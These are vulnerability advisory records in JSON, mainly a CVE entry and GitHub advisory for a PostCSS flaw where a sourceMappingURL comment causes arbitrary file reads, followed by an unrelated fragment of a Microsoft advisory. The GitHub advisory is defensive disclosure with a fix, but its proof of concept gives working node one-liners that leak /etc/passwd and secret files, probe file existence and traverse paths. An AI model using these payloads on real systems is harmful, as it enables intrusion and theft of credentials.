{
  "affected": [
    {
      "affectedData": [
        {
          "product": "postcss",
          "vendor": "postcss",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 8.5.12"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:postcss:postcss:*:*:*:*:*:node.js:*:*",
              "matchCriteriaId": "050784D7-6DA6-4606-ACAC-5CE2F3BEC7C9",
              "versionEndExcluding": "8.5.12",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "PostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. In versions 8.5.11 and prior, the PreviousMap parses the /*# sourceMappingURL=PATH */ comment from any CSS string passed to process() and dereferences PATH against the local filesystem with no scheme, allowlist, or traversal check. An attacker who controls the CSS input can cause the host process to read any file readable by Node and leak the first ~10 bytes of its content through the resulting JSON.parse SyntaxError message. The bug also yields a precise file-existence oracle and a controllable-read primitive that may be combined with large-file targets for DoS. The behaviour is triggered with PostCSS\u0027s default options \u2014 no from, no map, no plugins required \u2014 and is therefore reachable from any pipeline that runs untrusted CSS through PostCSS (CMS themes, user-uploaded styles, browser-extension/userstyle processors, build pipelines for third-party packages, blog comment renderers, etc.). This issue has been fixed in version 8.5.12."
    }
  ],
  "id": "CVE-2026-45623",
  "lastModified": "2026-08-07T00:13:41.957",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.1,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.2,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-45623",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-27T17:44:10.727948Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-27T18:16:55.130",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/postcss/postcss/security/advisories/GHSA-6g55-p6wh-862q"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/postcss/postcss/security/advisories/GHSA-6g55-p6wh-862q"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        },
        {
          "lang": "en",
          "value": "CWE-200"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.5.11"
      },
      "package": {
        "ecosystem": "npm",
        "name": "postcss"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.5.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45623"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-23T15:06:16Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nPostCSS\u0027s `PreviousMap` parses the `/*# sourceMappingURL=PATH */` comment from any CSS string passed to `process()` and dereferences `PATH` against the local filesystem with no scheme, allowlist, or traversal check. An attacker who controls the CSS input can cause the host process to read any file readable by Node and leak the first ~10 bytes of its content through the resulting `JSON.parse` `SyntaxError` message. The bug also yields a precise file-existence oracle and a controllable-read primitive that may be combined with large-file targets for DoS. The behaviour is triggered with PostCSS\u0027s default options \u2014 no `from`, no `map`, no plugins required \u2014 and is therefore reachable from any pipeline that runs untrusted CSS through PostCSS (CMS themes, user-uploaded styles, browser-extension/userstyle processors, build pipelines for third-party packages, blog comment renderers, etc.).\n\n## Details\n\nThe dangerous chain lives in `lib/previous-map.js` and is wired into every `Input` construction at `lib/input.js:70-77`.\n\n`Input` constructor (`lib/input.js:70-77`):\n\n```js\nif (pathAvailable \u0026\u0026 sourceMapAvailable) {\n  let map = new PreviousMap(this.css, opts)\n  if (map.text) {\n    this.map = map\n    let file = map.consumer().file\n    if (!this.file \u0026\u0026 file) this.file = this.mapResolve(file)\n  }\n}\n```\n\n`PreviousMap` constructor (`lib/previous-map.js:17-29`):\n\n```js\nconstructor(css, opts) {\n  if (opts.map === false) return\n  this.loadAnnotation(css)\n  this.inline = this.startWith(this.annotation, \u0027data:\u0027)\n\n  let prev = opts.map ? opts.map.prev : undefined\n  let text = this.loadMap(opts.from, prev)\n  ...\n}\n```\n\nNote `opts.map === false` is the only short-circuit. With default options (`opts.map === undefined`), the rest of the constructor \u2014 including the filesystem read \u2014 executes.\n\n`loadAnnotation` (`lib/previous-map.js:72-84`) extracts the URL **without sanitisation**:\n\n```js\nloadAnnotation(css) {\n  let comments = css.match(/\\/\\*\\s*# sourceMappingURL=/g)\n  if (!comments) return\n  let start = css.lastIndexOf(comments.pop())\n  let end = css.indexOf(\u0027*/\u0027, start)\n  if (start \u003e -1 \u0026\u0026 end \u003e -1) {\n    this.annotation = this.getAnnotationURL(css.substring(start, end))\n  }\n}\n```\n\n`getAnnotationURL` (`lib/previous-map.js:59-61`) only strips the `/*# sourceMappingURL=` prefix and trims whitespace \u2014 no scheme check, no path normalisation, no allowlist.\n\n`loadMap` (`lib/previous-map.js:124-128`) \u2014 when `prev` is absent and the annotation is not an inline `data:` URI:\n\n```js\n} else if (this.annotation) {\n  let map = this.annotation\n  if (file) map = join(dirname(file), map)\n  return this.loadFile(map)\n}\n```\n\n* If `opts.from` is unset, `file` is undefined and the raw attacker-supplied path (e.g. `/etc/passwd`) is used directly.\n* If `opts.from` is set, `path.join(dirname(file), attackerPath)` is used. `path.join` does **not** block `..` segments, so `../../../../../etc/passwd` resolves outside the intended directory.\n\n`loadFile` (`lib/previous-map.js:86-92`) is the sink:\n\n```js\nloadFile(path) {\n  this.root = dirname(path)\n  if (existsSync(path)) {\n    this.mapFile = path\n    return readFileSync(path, \u0027utf-8\u0027).toString().trim()\n  }\n}\n```\n\nThe bytes are stored in `this.text`. `Input` immediately invokes `map.consumer()` (`lib/input.js:74`), which constructs a `SourceMapConsumer` (`lib/previous-map.js:33`). When the file is not valid source-map JSON (the common case), `source-map-js` calls `JSON.parse`, and V8\u0027s `SyntaxError` message embeds the first ~10 bytes of the file content:\n\n```\nUnexpected token \u0027r\u0027, \"root:x:0:0\"... is not valid JSON\n```\n\nThis error is propagated back to the caller. Any application that surfaces PostCSS errors (logs, HTTP 500 responses, build-tool output, debug pages) discloses those bytes to the attacker.\n\nTrust-boundary analysis:\n* Attacker controls: CSS input passed to `postcss().process(css, opts?)`.\n* Server resources: any file readable by the Node process \u2014 typically including app config, environment files, SSH keys, `/etc/passwd`, `/proc/self/environ`, etc.\n* No mitigations: there is no path validation, scheme allowlist, traversal check, or symlink check. The only relevant check (`startWith(annotation, \u0027data:\u0027)`) routes inline URIs to `decodeInline`; everything else hits `loadFile`.\n\nPrimitives obtained:\n* (a) **Arbitrary file read** \u2014 bytes loaded into Node memory.\n* (b) **Information disclosure** \u2014 first ~10 bytes leaked via `JSON.parse` `SyntaxError` message.\n* (c) **File-existence oracle** \u2014 non-existent paths return silently from `loadFile` (`existsSync` is false \u2192 returns undefined \u2192 no map text \u2192 no consumer call \u2192 no error). Existent non-JSON paths throw. Existent JSON paths succeed silently. Three distinguishable states.\n* (d) **DoS primitive** \u2014 directing the read at `/dev/zero`, very large files, or device files can stall or crash the process.\n\n## PoC\n\nAll commands executed against this repository\u0027s HEAD (postcss 8.5.10) on Node v22.12.0.\n\n**Vector 1 \u2014 Absolute path, default options (no `from`, no `map`):**\n\n```bash\n$ node -e \u0027const p=require(\"postcss\"); \\\n  try { p().process(\"a{color:red}\\n/*# sourceMappingURL=/etc/passwd */\"); } \\\n  catch(e){console.log(e.message)}\u0027\nUnexpected token \u0027r\u0027, \"root:x:0:0\"... is not valid JSON\n```\n\nThe first 10 bytes of `/etc/passwd` (`root:x:0:0`) are leaked.\n\n**Vector 2 \u2014 Relative `..` traversal with `opts.from` set (simulates a build pipeline that pins `from` to the source file):**\n\n```bash\n$ node -e \u0027const p=require(\"postcss\"); \\\n  p().process(\"a{color:red}\\n/*# sourceMappingURL=../../../../../etc/passwd */\", \\\n              {from:\"/var/www/html/styles/main.css\", map:{inline:false}}) \\\n   .catch(e=\u003econsole.log(e.message))\u0027\nUnexpected token \u0027r\u0027, \"root:x:0:0\"... is not valid JSON\n```\n\n`path.join(\u0027/var/www/html/styles\u0027, \u0027../../../../../etc/passwd\u0027)` resolves to `/etc/passwd`.\n\n**Vector 3 \u2014 File-existence oracle:**\n\n```bash\n# Existing non-JSON file \u2192 throws (file confirmed to exist)\n$ node -e \u0027require(\"postcss\")().process(\"a{}\\n/*# sourceMappingURL=/etc/passwd */\")\u0027\nSyntaxError: Unexpected token \u0027r\u0027, \"root:x:0:0\"... is not valid JSON\n\n# Non-existent file \u2192 returns silently (file confirmed absent)\n$ node -e \u0027r=require(\"postcss\")().process(\"a{}\\n/*# sourceMappingURL=/no/such/file */\"); console.log(\"ok\")\u0027\nok\n```\n\n**Vector 4 \u2014 Custom file-content leak:**\n\n```bash\n$ printf \u0027API_KEY=sk-secret-12345\\n\u0027 \u003e /tmp/server-secret.env\n$ node -e \u0027require(\"postcss\")().process(\"a{}\\n/*# sourceMappingURL=/tmp/server-secret.env */\")\u0027 2\u003e\u00261 | head -1\nSyntaxError: Unexpected token \u0027A\u0027, \"API_KEY=sk\"... is not valid JSON\n```\n\nThe first 10 bytes of `/tmp/server-secret.env` (`API_KEY=sk`) are leaked \u2014 sufficient to confirm a token\u0027s presence and, in many cases, recover its prefix.\n\n**Filesystem-call trace** (proves the read happens with no opts at all):\n\n```js\nconst fs = require(\u0027fs\u0027);\nconst orig = fs.readFileSync;\nfs.readFileSync = function(p){\n  if (typeof p===\u0027string\u0027 \u0026\u0026 p.startsWith(\u0027/etc\u0027)) console.log(\u0027[FILE READ]:\u0027, p);\n  return orig.apply(this, arguments);\n};\nrequire(\u0027postcss\u0027)().process(\u0027a{}\\n/*# sourceMappingURL=/etc/hostname */\u0027);\n// \u2192 [FILE READ]: /etc/hostname\n// \u2192 SyntaxError: Unexpected token \u0027D\u0027, \"Debian-tri\"... is not valid JSON\n```\n\n## Impact\n\n* **Arbitrary file read** of any file readable by the Node process from any CSS-processing context that accepts attacker-influenced CSS. PostCSS has hundreds of millions of weekly npm downloads and is the standard CSS processor for build tools (webpack `postcss-loader`, vite, parcel, Next.js, Gatsby, etc.) and for runtime CSS-handling libraries (CSS Modules tools, CSS minifiers, theme processors). Any pipeline that runs untrusted user CSS \u2014 CMS theme uploads, user-styled blog posts, browser-extension/userstyle services, multi-tenant build farms, third-party-package build pipelines \u2014 is exposed.\n* **Confidentiality leak** of the first ~10 bytes of the targeted file via `JSON.parse` `SyntaxError`. This is enough to recover SSH-key headers, environment-variable prefixes (`API_KEY=sk\u2026`), `/etc/passwd` records, the start of `/proc/self/environ`, and other high-value secrets, and to fingerprint the host (`Debian-tri\u2026` from `/etc/hostname`).\n* **File-existence oracle** with three distinguishable response states (silent success, `JSON.parse` error, no-such-file silence), enabling reconnaissance of the host filesystem layout and confirmation of installed software, user accounts, and configuration files.\n* **DoS** by targeting `/dev/zero`, `/proc/kcore`, very large files, or named pipes \u2014 `readFileSync` is a synchronous, unbounded read.\n* **Default-on**: triggered with `postcss().process(css)` and no options. The only configuration that disables the bug is the explicit, undocumented-for-this-purpose `{ map: false }`.\n\n## Recommended Fix\n\nThe root cause is that `loadFile` accepts any path the attacker supplies inside a CSS comment. The annotation is meant for tooling, not for production CSS processing of untrusted input. Two layered fixes:\n\n1. **Refuse traversal/absolute paths in `loadMap`** (defence-in-depth):\n\n   ```js\n   // lib/previous-map.js\n   loadMap(file, prev) {\n     if (prev === false) return false\n     if (prev) { /* unchanged */ }\n     else if (this.inline) {\n       return this.decodeInline(this.annotation)\n     } else if (this.annotation) {\n       let annotation = this.annotation\n       // Reject schemes (other than data:, handled above) and absolute paths.\n       if (/^[a-zA-Z][a-zA-Z0-9+.-]*:/.test(annotation)) return\n       if (require(\u0027path\u0027).isAbsolute(annotation)) return\n       if (!file) return  // No base path \u2192 cannot safely resolve.\n       const base = require(\u0027path\u0027).resolve(require(\u0027path\u0027).dirname(file))\n       const resolved = require(\u0027path\u0027).resolve(base, annotation)\n       // Refuse anything that escapes the base directory.\n       if (resolved !== base \u0026\u0026 !resolved.startsWith(base + require(\u0027path\u0027).sep)) {\n         return\n       }\n       return this.loadFile(resolved)\n     }\n   }\n   ```\n\n2. **Require explicit opt-in to follow on-disk source-map annotations**: gate the `loadFile(map)` call in `loadMap` behind an option such as `opts.map.annotation === true` or `opts.map.followAnnotation === true`. Today, the only way to opt out is `{ map: false }`, which also disables in-memory previous-map handling. Inverting the default \u2014 only follow disk-resident annotations when explicitly asked \u2014 eliminates the entire attack surface for callers that pass untrusted CSS, while preserving build-tool use cases where the annotation is trusted.\n\nA user-facing changelog entry should warn that `postcss().process(untrustedCss)` previously read attacker-controlled paths, and recommend auditing applications that surfaced PostCSS errors to end users.",
  "id": "GHSA-6g55-p6wh-862q",
  "modified": "2026-07-23T15:06:16Z",
  "published": "2026-07-23T15:06:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/postcss/postcss/security/advisories/GHSA-6g55-p6wh-862q"
    },
    {
      "type": "WEB",
      "url": "https://github.com/postcss/postcss/commit/aaec7b78b3ce2792585b4b300ef1bd5dd5b3e8ad"
    },
    {
      "type": "WEB",
      "url": "https://github.com/postcss/postcss/commit/c64b7488d2731dfa16213739b42c34faf5a9eba3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/postcss/postcss"
    },
    {
      "type": "WEB",
      "url": "https://github.com/postcss/postcss/releases/tag/8.5.12"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PostCSS: Arbitrary file read and information disclosure via attacker-controlled sourceMappingURL in CSS comments"
}

{
  "document": {
    "category": "csaf_security_advisory",
    "csaf_version": "2.0",
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        "url": "https://www.first.org/tlp/"
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    "notes": [
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        "category": "general",
        "text": "To determine the support lifecycle for your software, see the Microsoft Support Lifecycle: https://support.microsoft.com/lifecycle",
        "title": "Additional Resources"
      },
      {
        "category": "legal_disclaimer",
        "text": "The information provided in the Microsoft Knowledge Base is provided \\\"as is\\\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.",
        "title": "Disclaimer"
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        "text": "Required. The vulnerability documented by this CVE requires customer action to resolve.",
        "title": "Customer Action"
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        "url": "https://www.first.org/cvss"
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}